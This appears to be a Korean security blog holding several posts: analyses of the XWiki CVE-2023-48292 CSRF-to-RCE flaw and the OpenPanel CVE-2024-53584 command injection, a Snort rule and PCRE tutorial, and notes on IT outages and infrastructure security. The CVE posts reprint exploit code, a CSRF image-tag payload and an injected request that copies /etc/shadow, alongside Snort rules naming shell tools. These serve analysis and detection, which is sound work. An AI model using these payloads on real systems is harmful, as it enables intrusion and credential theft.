IT-log

XWiki Admin Tools Application에서 발생하는 CSRF를 통한 RCE 취약점(CVE-2023-48292)

Security Engineer — Thu, 21 Aug 2025 00:17:28 +0900

XWiki Admin Tools Application 이란?

- XWiki 인스턴스를 관리하기 위한 다양한 도구를 제공하는 애플리케이션

- Admin.RunShellCommand는 XWiki Admin Tools Application 내의 특정 기능 페이지 중 하나로, 서버에서 쉘 명령어를 실행하는 기능을 담당

CSRF(Cross-Site Request Forgery)란?

- 공격자가 사용자가 신뢰하는 웹 애플리케이션에서 사용자의 권한을 도용하여 원하지 않는 요청을 실행시키는 취약점

- 하기 취약점의 경우, 공격자가 악성 URL을 포함한 콘텐츠를 삽입하고, 관리자가 악성 URL이 포함된 콘텐츠 확인 시 공격 실행됨

취약점 설명

XWiki Admin Tools Application에 CSRF 보호를 위한 토큰 검증 로직이 누락되어 발생하는 취약점입니다.

공격자는 관리자 권한으로 로그인된 사용자를 속여, Admin.RunShellCommand 페이지로 악의적인 요청을 유도할 수 있으며, 이로 인해 사용자의 의도와 무관하게 서버에서 명령어가 실행될 수 있습니다.

취약점 분석

Admin.RunShellCommand는 관리자 전용 기능 페이지로, 서버에서 임의의 쉘 명령어를 실행할 수 있는 기능을 제공합니다.

그러나 해당 기능은 요청에 대한 CSRF 토큰 검증 로직이 없어, 요청의 정당성을 확인하지 않습니다.

이로 인해 공격자는 <img src=”...”> 와 같은 HTML 요소를 활용하여 악의적인 명령어가 포함된 URL을 위키 페이지나 댓글 등에 삽입할 수 있으며, 관리자가 해당 페이지 열람 시 명령이 자동 실행됩니다.

[CSRF 공격 과정]

1) CSRF 트리거 요소 삽입(예: 댓글, 위키 페이지)

- 공격자는 <img> 태그와 같은 HTML 요소를 사용하여 관리자가 방문할 페이지에 악성 요청이 포함된 URL 삽입

- Admin.RunShellCommand 페이지를 호출하고 command 파라미터에 악성 명령어를 포함하는 URL 제작

- 예시: <img src="hxxps://vulnerable-xwiki.com/xwiki/bin/view/Admin/RunShellCommand?command=touch%20/tmp/attacked">

2) 관리자 권한을 가진 사용자가 페이지 열람

- 관리자가 XWiki에 로그인한 상태에서 해당 URL이 포함된 페이지를 열람하면, 관리자의 브라우저는 추가 인증 없이(CSRF 토큰 없이) 서버에 요청을 보냅니다.

3) 명령어 실행

- XWiki 서버는 이 요청이 관리자로부터 온 것으로 판단하고 command 파라미터의 명령어를 실행합니다. (touch /tmp/attacked 명령어 실행 → 서버의 /tmp 디렉터리에 attacked 파일이 생성됨)

[RCE 공격 과정]

PoC(https://www.exploit-db.com/exploits/52105)

def check_vulnerability(target_url, method):
    """
    Check if the target URL is vulnerable to the CVE-2023-48292 vulnerability.
    We send a test payload and inspect the response to determine if the vulnerability exists.
    """
    try:
        # Test payload to check for vulnerability
        test_payload = "echo 'testtesttest1234'"  # Payload to execute a test command on the target system
        vulnerable_url = f"{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={test_payload}"

        if method == "GET":
            response = get(vulnerable_url, headers=HEADERS)
        else:  # method == "POST"
            response = post(vulnerable_url, headers=HEADERS)

        if response.status_code == 200 and "testtesttest1234" in response.text:
            logging.info("Target is vulnerable! Command execution test succeeded.")
            return True
        else:
            logging.info("Target does not appear to be vulnerable.")
            return False
    except RequestException as error:
        logging.error(f"HTTP Request Error: {error}")
        sys.exit(1)

check_vulnerability(): 대상 서버의 Admin.RunShellCommand 기능이 실제 명령어를 실행하는지 확인하는 함수

- test_payload로 echo 명령어를 사용하여 문자열("testtesttest1234")을 출력하도록 시도

- 이 요청은 직접 서버에 명령을 보내는 것이므로, 해당 요청이 성공하려면 관리자 권한의 세션이 있는 상태여야 함

- 응답에 "testtesttest1234" 문자열이 포함되어 있다면, 명령이 실제로 실행되었음을 의미하며, 이는 Admin.RunShellCommand 기능이 인증 없이 외부 요청을 처리한다는 취약점이 존재함을 의미

- 해당 방식은 CSRF 공격이 아닌, RCE 가능성 여부를 판단하기 위한 테스트

def perform_attack(target_url, payload, method):
    """
    Perform the attack by sending a custom payload to the vulnerable server.
    """
    try:
        logging.info(f"Attempting attack with payload: {payload}")
        vulnerable_url = f"{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={payload}"

        if method == "GET":
            response = get(vulnerable_url, headers=HEADERS)
        else:  # method == "POST"
            response = post(vulnerable_url, headers=HEADERS)

        if response.status_code == 200:
            logging.info(f"Attack successful! Response: {response.text[:100]}...")  # Display a snippet of the response
        else:
            logging.warning("Attack attempt failed.")
    except RequestException as error:
        logging.error(f"HTTP Request Error: {error}")
        sys.exit(1)

perform_attack(): 공격자가 작성한 임의의 명령어(payload)를 실행하여 명령 실행 결과를 확인하는 함수

- 대상 URL에 명령을 포함하여 요청을 전송하며, 관리자 권한이 없는 경우 공격은 실패함

- 공격이 성공하면 응답 본문에서 명령어 실행 결과의 일부(최대 100자까지) 확인 가능

[PoC 코드 실행 결과]

- XWiki의 /Admin/RunShellCommand가 외부 요청을 통해 명령어를 실행하는지 여부를 점검(관리자 세션 필요)

- 관리자 세션이 있는 경우 Command 파라미터에 시스템 명령어 삽입을 통해 악성 명령어를 실행할 수 있음

[결론]
- 본 취약점은 공격자가 직접 서버와 통신하지 않고, 관리자 세션을 통해 악성 요청을 유도하여 공격을 수행하는 CSRF 공격을 통한 RCE 취약점

- 공격자는 악성 URL을 위키 페이지, 댓글 등에 삽입해 관리자가 이를 열람하도록 유도함

- 명령어 실행은 서버 측의 취약한 엔드포인트(/Admin/RunShellCommand)와 관리자 세션의 결합으로 가능하며, 공격자는 이를 통해 서버에서 명령을 실행함

[공격 영향]

공격자는 관리자 권한으로 서버에 대한 명령을 실행할 수 있으므로, 시스템 정보 탈취, 파일 삭제, 백도어 설치 등 심각한 피해가 발생할 수 있음

[영향 받는 버전]

취약 버전: 4.4 이상 4.5.1 미만

완화 버전: 4.5.1

[완화 방법]

패치 적용: 4.5.1 이상 버전으로 업데이트

수동 패치: Admin.RunShellCommand 페이지를 사용하지 않는 경우 해당 페이지 삭제

탐지 패턴 예시

아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 일부 변경될 수 있음.

Admin/RunShellCommand 경로에 대한 접근 탐지

alert tcp any any -> $HOME_NET any (

msg: "XWiki Admin.RunShellCommand RCE via CSRF (CVE-2023-48292)";

flow: to_server, established;

uricontent:"/xwiki/"; nocase;

uricontent:"/Admin/RunShellCommand?command="; nocase;

distance:0;

classtype: web-application-attack;

sid: 20250821; rev:1;

)

[참고]

https://nvd.nist.gov/vuln/detail/CVE-2023-48292

https://github.com/xwiki-contrib/application-admintools/security/advisories/GHSA-8jpr-ff92-hpf9

https://jira.xwiki.org/browse/ADMINTOOL-91

https://www.exploit-db.com/exploits/52105

https://github.com/Mehran-Seifalinia/CVE-Exploits/tree/main/2023/CVE-2023-48292

OpenPanel에서 발생하는 OS Command Injection(CVE-2024-53584)

Security Engineer — Sun, 22 Jun 2025 22:00:39 +0900

OpenPanel 이란?

OpenPanel은 리눅스 기반 서버를 관리할 수 있도록 설계된 오픈소스 웹 호스팅 제어판

취약점 설명

OpenPanel 0.3.4의 /server/timezone 경로의 시간을 설정하는 기능에서 timezone 파라미터 내 입력 값을 처리하는 과정에서 입력 값이 쉘 명령어로 직접 전달되는 경우가 존재

공격자는 이 파라미터에 세미콜론(;)과 같은 명령 구분자를 사용하여 추가적인 악성 명령어를 삽입할 수 있으며, 이는 서버 시스템에서 임의의 명령어를 실행할 수 있음

취약점 분석

아래 PoC는 OpenPanel 0.3.4에서 OS Command Injection 취약점을 악용하는 HTTP POST 요청의 예시

# Exploit Title: OpenPanel 0.3.4 - OS Command Injection 
# Date: Nov 25, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee 
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53584

POST /server/timezone HTTP/2
Host: demo.openpanel.org:2083
Cookie: minimenu=0; session=eyJfZnJlc2giOmZhbHNlLCJ1c2VyX2lkIjozfQ.ZyyaKQ.HijWQTQ_I0yftDYEqqqqRR_FuRU; theme=dark
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/server/timezone
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: https://demo.openpanel.org:2083
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers

timezone=;cat+/etc/shadow+>+/home/stefan/secret.txt

1. 취약한 timezone 파라미터

- OpenPanel 0.3.4는 server/timezone 경로를 통해 서버의 시간대를 설정하는 기능을 제공

- 이 기능은 클라이언트로부터 POST 요청으로 timezone이라는 파라미터를 받음

- 서버 측 코드에서 timezone 파라미터의 값을 시스템 명령어의 일부로 직접 사용하면서 사용자 입력에 대한 적절한 검증이나 필터링이 이루어 지지 않아 발생

2. OS Command Injection 원리

- UNIX/LINUX 계열 시스템에서 쉘 명령어들은 세미콜론(;), 파이프( |, || ), 앰퍼샌드( &, && ) 와 같은 문자를 사용하여 여러 명령어를 연결하거나 명령의 출력을 다른 명령의 입력으로 사용할 수 있음

- 공격자는 취약한 timezone 파라미터에 세미콜론(;), 파이프( |, || ), 앰퍼샌드( &, && ) 와 같은 문자를 삽입하고 이어서 실행하고자 하는 악성 명령어를 추가할 수 있음

- timezone=;cat+/etc/shadow+>/home/stefan/secret.txt 와 같은 입력이 서버에 전달되면, 서버는 이를 timedatectl set-timezone ;cat /etc/shadow > /home/stefan/secret.txt와 같은 형태로 해석하여 실행할 수 있음

3. 공격 단계

- 악성 페이로드 생성: 공격자는 시스템 명령어 실행이 가능한 페이로드를 생성, PoC에서는 cat /etc/shadow > /home/stefan/secret.txt 명령어를 사용하여 /etc/shadow 파일의 내용을 /home/stefan/secret.txt 파일로 복사하는 것을 목표로 함

- POST 요청 전송: 공격자는 OpenPanel의 /server/timezone 경로로 조작된 timezone 파라미터를 포함하는 POST 요청을 전송

- 명령어 실행 및 결과: 서버는 timezone 파라미터 내의 삽입된 명령어를 실행. /etc/shadow 파일의 내용이 secret.txt 로 복사되고, 공격자는 다른 방법을 통해 secret.txt 파일에 접근하거나 다른 명령어를 통해 추가적인 공격을 수행할 수 있음

4. 시스템 명령어가 실행되는 페이로드

timezone=;cat+/etc/shadow+>+/home/stefan/secret.txt

1) tiemzone= : 시간대를 설정하는 파라미터

2) ; : 여러 명령어를 한 줄에 나열하여 순차적으로 실행. 각 명령어는 독립적으로 실행되며, 앞 명령어의 성공 여부와 관계없이 다음 명령어가 실행됨

3) cat+/etc/shadow+>+/home/stefan/secret.txt : 공격자가 실행하고자 하는 악성 명령어

3-1) cat /etc/shadow : 시스템의 /etc/shadow 파일 내용을 출력. 이 파일은 사용자 계정의 암호화된 비밀번호와 관련된 정보를 저장하는 파일

3-2) >: 표준 출력(stdout)을 파일로 리다이렉션(파일에 저장)

3-3) /home/stefan/secret.txt : cat /etc/shadow 명령의 출력이 저장될 파일 경로

5. 결과

위 PoC 코드 성공 시 공격 대상 서버의 /home/stefan/secret.txt 파일에 /etc/shadow 파일의 내용이 복사되며, 공격자는 이후 이 파일을 다른 취약점을 통해 다운로드하거나, 후속 공격을 위한 정보를 얻는 데 사용할 수 있음.

이는 서버의 민감한 정보 유출로 이어질 수 있으며, 더 나아가 시스템 변조 및 제어로 발전할 수 있음.

6. 영향 받는 버전

취약 버전: 0.3.4

완화 버전: 0.3.5

탐지 패턴 예시

아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 변경될 수 있으며, 장비 부하에 관계없이 다양한 패턴을 탐지하기 위해 제작함.

1. OS Command Injection 탐지

alert tcp any any -> $HOME_NET any (

msg:"OpenPanel - OS Command Injection(CVE-2024-53584)";

flow:to_server,established;

http_method; content:"POST";

http_uri; content:"/server/timezone"; nocase;

http_client_body; content:"timezone="; nocase;

pcre:"/timezone\s*=\s*.*(\|\||\&\&|\||\&|\;)\s*(curl|wget|nc|python|perl|bash|cat|whoami|id|ls|rm|touch|chmod|chown|ping|echo|netstat|uname|hostname|find|grep|ln|shutdown|reboot|ps|top|df|mount|ifconfig|ip\s+a)/i";

classtype:web-application-attack;

sid:20250617; rev:1;

)

2. etc/ 디렉터리 내 중요 파일 접근 탐지

alert tcp any any -> $HOME_NET any (

msg:"OpenPanel - OS Command Injection(CVE-2024-53584) - etc Directory Access";

flow:to_server,established;

http_method; content:"POST";

http_uri; content:"/server/timezone"; nocase;

http_client_body; content:"timezone="; nocase;

classtype:web-application-attack;

sid:20250618; rev:1;

)

3. WAF 탐지 패턴

uricontent:"/server/timezone"; nocase; content:"POST"; depth:4; content:"timezone="; nocase; content:"|3b|"; within: 15;

참고

https://www.exploit-db.com/exploits/52197

https://nvd.nist.gov/vuln/detail/CVE-2024-53584

스노트(Snort)

Security Engineer — Tue, 10 Jun 2025 22:00:55 +0900

스노트는 무엇인가?

스노트(Snort)

- 1998년 마틴 로쉬가 오픈소스로 개발

- 시그니처 기반 네트워크 침입 탐지 시스템

- 작동 방식: Sniffer Mode, Packet Logging Mode, NIDS Mode

스노트 동작

- 스니퍼: 네트워크 패킷 수집

- 패킷 디코더: 전처리기와 탐지 엔진이 파싱 할 수 있도록 정규화

- 전처리기: 특정 행위가 발견된 패킷을 탐지 엔진으로 전송

- 탐지엔진: 전달받은 패킷을 스노트 규칙에 매칭되는지 확인

- 경고/로깅: 스노트 규칙에 매칭된 경우 경고 출력 및 기록

수리카타는 무엇인가?

수리카타(Suricata)

- 오픈 소스 보안 재단(OISF)에서 개발한 시그니처 기반 네트워크 침입 탐지 시스템

- 멀티 코어 / 멀티 스레드 지원하여 대용량 트래픽 처리 가능

- LUA 언어로 시그니처 작성

- 스노트 기능 및 규칙 호환

수리카타 동작

스노트 관련 파일 경로

- 스노트 규칙 파일 경로: /etc/nsm/rules

- downloaded.rules: 기본으로 제공되는 스노트 규칙 파일

- local.rules: 사용자가 정의한 스노트 규칙 파일

- 스노트 설정 파일 경로: /etc/nsm/templates/snort

- snort.conf: 스노트 설정 파일

규칙 구조(Rule Signature)

- 스노트 시그니처는 규칙 헤더와 규칙 옵션 영역으로 구분한다.

- 샘플 규칙

규칙 헤더(Rule Header)

액션(Action)

종 류	내 용
Alert	패킷의 정보를 로그에 기록하고 사용자가 확인할 수 있도록 경고 발생
Log	패킷의 정보를 설정한 로그 파일에 기록
Pass	패킷 무시. 대부분 사용하지 않지만 특정 네트워크의 트래픽을 무시하고 싶을 때 사용
Drop	인라인(In-Line)방식으로 구성되어 있을 경우 IPS 역할이 가능. 규칙에 매칭되는 패킷을 차단하고 기록
Reject	Drop과 같은 액션을 취함. TCP의 RESET 패킷을 출발지로 전송. ICMP 패킷은 Unreachable 로 반송.
Sdrop	Drop과 동일하게 패킷을 차단하지만 로그 기록하지 않음.

프로토콜(Protocol)

- TCP / UDP / ICMP / IP / ANY 중 택 1

송신 / 수신 IP (Src/Dst IP)

종 류	내 용
!	부정 연산자로 특정 네트워크 대역 제외.
[ ]	비연속적인 IP 지정.
any	모든 IP를 의미.
192.168.100.100/32	특정 호스트 IP 지정.
192.168.100.0/24	특정 IP 대역대 지정.
!192.168.100.0/24	전체 IP에서 특정 IP 대역대 제외.
$EXTERNAL_NET	외부 IP 주소 변수.	설정 파일 Snort.conf
$HOME_NET	내부 IP 주소 변수.
$HTTP_SERVERS	웹 서버의 주소 변수.
$DNS_SERVERS	DNS 서버의 IP 주소 변수.
$SMTP_SERVERS	SMTP 메일 서버의 IP 주소 변수.
$SSH_SERVERS	SSH 프로토콜을 사용하는 장비의 IP 주소 변수.

송신 / 수신 포트 (Src/Dst Port)

종 류	내 용
!	부정 연산자로 특정 포트를 제외.
:	연속적인 포트번호 지정. Ex) 1:1000 1부터 1000까지 포트 지정
any	모든 포트 의미
!1:1000	1부터 1000까지를 제외한 포트 지정.

방향 연산자

종 류	내 용
->	송신지에서 수신지 방향을 의미, 단방향
<>	송신지와 수신지의 오가는 패킷 의미, 양방향

규칙 옵션(Rule Option)

일반 옵션(General Options)

옵 션	내 용	예 시
msg	경고 이벤트를 보여줄 때 나타나는 메시지	msg:"SQL Injection";
sid	규칙을 구별하는 식별자 모든 규칙은 식별 번호를 가짐. 0-2999999 : 이미 예약된 식별자 3000000 ~ : 사용 가능한 식별자	sid:3000001; sid:2016113003;
rev	해당 규칙에 대한 버전. 수정 할 때마다 숫자를 1씩 증가.	rev:1;
priority	우선 순위를 숫자로 지정. 1(높음)-10(낮음)	priority:1;
calsstype	스노트 규칙을 분류하는 옵션. 정의 파일: /etc/nsm/센서명/classification.config	classtype:분류명;
reference	취약점의 참고가 되는 정보(URL 등)를 연결 정의 파일: /etc/nsm/센서명/reference.config	reference:url, www.security.com/123.html; referecne:CVE, 2012-1823;

흐름 옵션(Flow Options)

옵 션	방 향 옵 션	내 용
flow	to_server	클라이언트에서 서버로 향하는 트래픽
	from_client
	to_client	서버에서 클라이언트로 향하는 트래픽
	from_server

- established: 세션이 연결된 상태의 트래픽만 매칭

- Stateless: 세션의 연결 유무와 상관 없이 매칭

EX) flow:to_server, established

페이로드(Payload)

옵 션	내 용	예 시
Content	탐지한 패턴을 설정하는 옵션	Content: "abc"; Content: "\|61 62 63\|" → \| \| 내의 값은 아스키 코드 Hex 값
Nocase	패턴 매칭 시 대소문자 구별하지 않고 매칭	Content: "abc"; nocase;
offset	해당 옵션에서 지정한 바이트만큼 떨어진 위치부터 탐색 시작 0바이트 부터 시작	offset:5;
Depth	패킷 데이터에서 찾을 내용의 범위를 지정하는 옵션. 예를 들어 5로 지정하면 처음부터 5바이트까지 문자열 탐색.	depth:5;
distance	이전 content 설정 값 매칭 후 탐색할 위치를 지정. 예시) abc가 매칭된 위치에서 32바이트 떨어진 위치부터 test 문자열을 탐색 시작.	Content: "abc"; nocase; Content: "test"; distance:32;
within	이전 content 설정 값 매칭 후 매칭을 끝낼 상대 위치를 지정. 예시) abc가 매칭된 위치에서 10바이트 이내에 test 문자열 존재하는지 탐색.	Content:"abc"; nocase; Content:"test"; within:10;
pcre	스노트 규칙에서 사용가능한 정규표현식. 특정 문자열의 집합을 표현할 때 효과적으로 사용 가능.	Pcre:"/Select\b.*FROM/Ui";

HTTP 관련 옵션

옵 션	내 용
http_method	페이로드 앞부분의 HTTP 메소드 부분의 패턴을 매칭. 메소드: GET, POST, PUT, HEAD, DELETE, TRACE...
http_uri	페이로드에서 HTTP URI 값을 패턴 매칭
http_cookie	페이로드에서 HTTP 쿠키 값을 패턴 매칭
http_header	HTTP 요청 / 응답 헤더 값에서 패턴 매칭 시도
http_client_body	HTTP 요청 / 응답 바디 값에서 패턴 매칭 시도
http_stat_code	HTTP 응답 메시지의 상태코드에서 매칭 시도 ex) HTTP/1.1 200 OK
http_stat_message	HTTP 응답 메시지의 상태 메시지 부분에서 매칭 시도 ex) HTTP/1.1 200 OK

Threshold 옵션

type	설명
limit	매 s초 동안 c번째 이벤트까지 action을 수행 ex) threshold type limit track by_src, count 2, seconds 10 → 출발지 IP를 기준으로 매 10초마다 2번째 이벤트까지 action을 수행
threshold	매 s초 동안 c번째 이벤트마다 action을 수행 ex) threshold type threshold, track by_src, count 10, secnods 5 → 출발지 IP를 기준으로 매 5초마다 10번째 이벤트마다 action을 수행
both	매 s초 동안 c번째 이벤트 시 한번 action을 수행 ex) threshold type both, track by_src, count 10, seconds 1 → 출발지 IP를 기준으로 매 1초마다 10번째 이벤트 시 한번 action을 수행

- track

1. by_src: 출발지 IP를 기준으로 추적

2. by_dst: 목적지 IP를 기준으로 추적

규칙 업데이트 명령어

스노트 규칙 업데이트 명령어

- rule -update

→ PulledPork 도구로 Emerging Threats의 최신 규칙 다운로드 후 적용

잘못된 스노트 규칙 수정 후 업데이트 명령어

- nsm --sensor --restart --only-snort-alert

정규표현식(PCRE)

기본 특징

- 펄 호환 정규표현식(Perl Compatible Regular Expression)

- 스노트 패턴 탐지 옵션 Content를 보완하고 정확도를 높이는 데 사용

- PCRE의 시작과 끝은 구분자(/)로 결정 → pcre:"/표현식/옵션";

- 테스터 사이트: https://www.debuggex.com

Debuggex: Online visual regex tester. JavaScript, Python, and PCRE.

View Cheatsheet Visual ModeText Mode {{nfaModel.error.msg}} Result: Matches Does not match starting at the black triangle slider

www.debuggex.com

정규표현식 테스트 사이트

https://regexr.com/

이스케이프 기호

기호	의미	예제
\\	역슬래쉬 문자 자체	\
\n	줄바꿈(Line feed), 커서를 다음 줄로 이동
\r	캐리지 리턴(Carrage Return), 커서를 맨 앞줄로 이동
\t	탭(Tab)
\v	수직 탭(Vertical Tab)
\f	폼 피드(Form Feed), 다음 페이지로 넘어 가기
\'	작은 따옴표(Single Quote)	'
\"	큰 따옴표(Double Quote)	"
\d	모든 숫자	== [0-9]
\D	숫자가 아닌 문자 [^0-9]	== [^0-9]
\s	공백	== [\t\n\r\f\v]
\S	공백이 아닌 문자	== [^\t\n\r\f\v]
\w	_ 를 포함한 숫자 또는 문자	== [A-Za-z0-9_]
\W	숫자 또는 문자가 아닌 것	== [^A-Za-z0-9_]
\b	단어와 공백 사이를 찾음	ab\b --> nnnab (O) / nnnabn (X)
[\b]	back space, \b와 혼동하면 안됨
\B	단어의 경계가 아님	ab\B --> nnnab (X) / nnnabn (O)

메타문자

- 기능(의미)를 가지는 문자 \t \n \r \b

- 클래스 [ ] : 괄호 안의 문자 중 하나를 찾는다. [abc] : a, b, c 중 하나, [a-z] : 알파벳 소문자 중 하나

- 서브 패턴 ( ) : 문자열을 하나로 묶음(특정 패턴을 묶어서 반복 기호등과 함께 사용)

- 수량자 { } : 앞 문자가 몇 번 반복되는지, \d{1,3}: 1자리, 2자리, 3자리 숫자 의미

문자	의미	문자	의미
\	이스케이프 문자	+	1번 이상
^	문자열 시작	[	클래스 시작
$	문자열 끝	]	클래스 끝
.	임의의 문자 하나	(	서브 패턴 시작
\|	OR 연산	)	서브 패턴 끝
?	0번 또는 1번만	{	수량자 시작
*	0번 또는 1번 이상	}	수량자 끝

문제 풀이 - 메타 문자

예제1) pcre:"/a.a/" 가 탐지 할 수 있는 경우를 찾으시오.

1. Aaa

2. aTa

3. aTat

예제2) pcre:"/(one|two) apple/" 가 탐지 할 수 있는 경우를 찾으시오.

1. one apple

2. onetwo apple

3. apple

예제3) pcre:"/boan?/"가 탐지 할 수 있는 경우를 찾으시오.

1. boan

2. boaan

3. boa

예제4) pcre:"/pro*ject/"가 탐지 할 수 있는 경우를 찾으시오.

1. project

2. prject

3. projject

예제5) pcre:"/boan+project/"가 탐지 할 수 있는 경우를 찾으시오.

1. boanproject

2. boanpproject

3. boannproject

수량자 및 클래스 사용

- 수량자는 설정한 패턴이나 클래스의 반복 횟수를 결정

- 수량자는 { } 안에 값을 설정

- 클래스는 탐지할 패턴을 결정하며 [ ] 안에 값을 결정

수량자/클래스	의미
{n}	앞선 문자나 클래스가 n개 존재하는 문자열 검색
{n,}	앞선 문자나 클래스가 n개 이상 존재하는 문자열 검색
{n,m}	앞선 문자나 클래스가 n개 이상 m개 이하 만큼 존재하는 문자열 검색
[abc]	a,b,c 중 하나라도 속한 문자열 검색
[a-z]	소문자 a부터 z까지 하나라도 속한 문자열 검색
[A-Z]	대문자 A부터 Z까지 하나라도 속한 문자열 검색
[0-9]	숫자 0부터 9까지 하나라도 속한 문자열 검색
[A-Za-z0-9]	모든 단어 검색
[\f\r\t\n\v]	모든 공백 검색
[^0-9]	숫자가 아닌 모든 문자 검색(클래스 내의 ^는 부정을 의미)

문제 풀이 - 수량자 및 클래스 사용

예제1) pcre:"/[A-Z]{3}/" 가 탐지 할 수 있는 경우를 찾으시오.

1. aaA

2. ABC

3. A-Z3

예제2) 클래스를 사용하여 숫자 9가 4개 이상 포함된 문자열을 찾는 정규식을 만드시오.

→ pcre:"/9{4,}/"

예제3) pcre:"/bo{2,4}an/" 가 탐지 할 수 있는 경우를 찾으시오.

1. booan

2. boan

3. booooan

PCRE 옵션

- 메타 문자 이외에 추가적인 기능을 하는 옵션

- 구분자 뒤에 사용 /abc/iU

옵션	의미
i	패턴의 대문자와 소문자를 구별하지 않고 검색하는 옵션
s	개행이 되더라도 문자열을 1줄로 인식하여 메타문자 . 기능이 동작하는 옵션
m	메타문자 ^와 $가 행마다 동작하게 하는 옵션
x	패턴에 존재하는 모든 공백을 무시하는 옵션

스노트 지원 PCRE 옵션

- HTTP 관련 옵션과 동일한 기능

옵션	의미	유사 스노트 옵션
B	정규화 되지 않은 원본 패킷과 패턴 매치	rawbytes
M	HTTP 메소드(Method)와 패턴 매치	http_method
H	정규화된 HTTP 요청(Request) 메시지 헤더 정보와 패턴 매치	http_header
D	정규화 되지 않은 HTTP 요청 메시지 헤더 정보와 패턴 매치	http_raw_header
P	HTTP 요청 메시지 바디와 패턴 매치	http_client_body
U	정규화된 URL 디코딩한 문자열과 패턴 매치	http_uri, uricontent
I	정규화 되지 않은 URL 디코딩한 문자열과 패턴 매치	http_raw_uri
C	정규화된 HTTP 요청과 응답(response)의 쿠키 값과 패턴 매치	http_cookie
K	정규화 되지 않은 HTTP 요청과 응답의 쿠키 값과 패턴 매치	http_raw_cookie
S	HTTP 응답 코드와 패턴 매치	http_stat_code
Y	HTTP 응답 상태 메시지와 패턴 매치	http_stat_msg

문제 풀이 - 정규표현식 옵션

예제1) pcre:"/union/Ui" 가 탐지 할 수 있는 경우를 찾으시오.

1. UniON

2. union

3. UnioN

예제2) 200 응답 코드나 404 응답 코드를 찾는 정규식을 만드시오

→ pcre:"/(200|404)/S"

예제3) 요청 메시지 헤더에서 select 문자열을 찾는 정규식을 만드시오

→ pcre:"/select/Hi"

아스키 코드 참고

참고

https://www.inflearn.com/course/%EC%9B%B9-%ED%95%B4%ED%82%B9-%EC%8A%A4%EB%85%B8%ED%8A%B8-%EB%B6%84%EC%84%9D%EC%B9%A8%ED%95%B4/dashboard

IT 인프라 장애 유형 및 대처 방안

Security Engineer — Tue, 3 Jun 2025 22:00:44 +0900

404 Not Found

- '웹 페이지를 표시할 수 없습니다'라는 뜻의 장애

- 서버 자체는 존재하나 해당 서버에 클라이언트가 요청한 데이터가 없을 때 나타남

- 잘못된 정보를 요청해서 보여줄 게 없음

- 404 Not Found 발생 시 대처 방안

1. 호스팅하고 있는 서비스의 DNS 정보가 변경되었는지 확인 필요

- DNS: Domain Name System

2. DNS 및 URL 구성 확인

- 온프레미스 IT 인프라에서는 서버 관리자 메뉴에서 DNS 설정 변경

- 클라우드에서는 IP 설정 관리자 메뉴에서 DNS 설정 변경

503 Service Temporarily Unavailable

- "서비스를 일시적으로 이용할 수 없습니다" 라는 뜻의 장애

- 서버에 있는 데이터에는 문제가 없으나 서버 과부하로 인해 서버의 데이터에 접속할 수 없는 상태

- 주로 웹 서버가 몰려드는 트래픽을 감당하지 못해 발생하거나 웹 서버와 WAS와의 설정 오류로 인해 발생

- 503 Service Temporarily Unavailable 발생 시 대처방안

1. 웹 서버 앞단에 로드밸런서를 배치하여 트래픽 분산

- 티켓팅, 수강신청 시 대기열 발생할 수 있음

2. 웹 서버와 애플리케이션 서버 사이의 설정 점검

IT 인프라 장애 유형 파악 프로세스

- 일반적인 IT 인프라 장애 유형 파악 및 처리 프로세스

- 현업에서 자주 발생하는 장애 유형 및 원인

장애 상황 및 후속 조치 예시

- 장애 시나리오

- 장애 해결을 위한 체크 포인트

- 장애 해결 이후 후속 조치

참고

https://www.inflearn.com/course/%EB%88%84%EA%B5%AC%EB%82%98-%EC%89%BD%EA%B2%8C-%EC%9D%B4%ED%95%B4%ED%95%98%EB%8A%94-it-%EC%9D%B8%ED%94%84%EB%9D%BC-%EA%B8%B0%EC%B4%88

IT 인프라 보안

Security Engineer — Mon, 2 Jun 2025 22:00:54 +0900

엔드포인트 보안

- 엔드포인트: Endpoint, 컴퓨터 네트워크에 연결되는 모든 장치(사용자가 접근하는 기기 - PC, 스마트폰)

- 악성코드(Malware) 종류

- 국내의 대표적인 보안사고 사례

- Endpoint: 기업 네트워크에 연결된 최종 단계의 기기 / PC, 노트북, 스마트폰 ,태블릿 등

- AV(Anti Virus): 컴퓨터의 악성코드를 찾아내고 치료, 방어하기 위한 소프트웨어

- EDR(Endpoint Detection and Response): AV에서 진화된 보안 솔루션

- 악성코드를 실시간으로 감지하고 분석 및 대응해서 피해확산을 막는 솔루션

- 대표적인 EDR 솔루션의 작동 방식

- 동일한 EDR 솔루션을 사용하는 고객끼리 TI 정보를 공유하여 방어 체계 업데이트

네트워크 보안

- 방화벽(Firewall): 네트워크 상의 패킷을 모니터링하고 허용되지 않은 접근은 차단하는 보안 장비

- IDS/IPS(Intrusion Detection System / Intrusion Prevention System): 네트워크 침입 탐지 및 방지 시스템

- 방화벽, IDS/IPS 차이

- UTM(Unified Threat Management): 방화벽, IDS/IPS, VPN, AV, 필터링 등 다양한 보안기능을 제공하는 통합위협관리 솔루션

- NAC(Network Access Control): 유무선 환경에서 내부 네트워크망으로 접근하는 다양한 단말기기를 통제하기 위한 보안 솔루션

접근제어

- DB 접근제어: 보안을 위해 데이터베이스 접근을 통제하고 관리하는 솔루션

- DB에 접근이 가능한 직원이라도 담당 업무에 따라서 접근 범위가 다를 수 있다

- 데이터 거버넌스: 데이터의 보안, 개인정보 보호, 정확성, 가용성, 사용성을 보장하기 위해 수행하는 모든 작업

- RBAC(Role-Based Access Control): 권한이 있는 사용자들에게 한해 시스템 접속을 허용하는 접근제어 방법

IAM & Zero Trust

- IAM(Identity and Access Management): 기업에서 인증한 사람과 디바이스만 기업의 애플리케이션과 시스템에 접근할 수 있도록 허용하는 솔루션

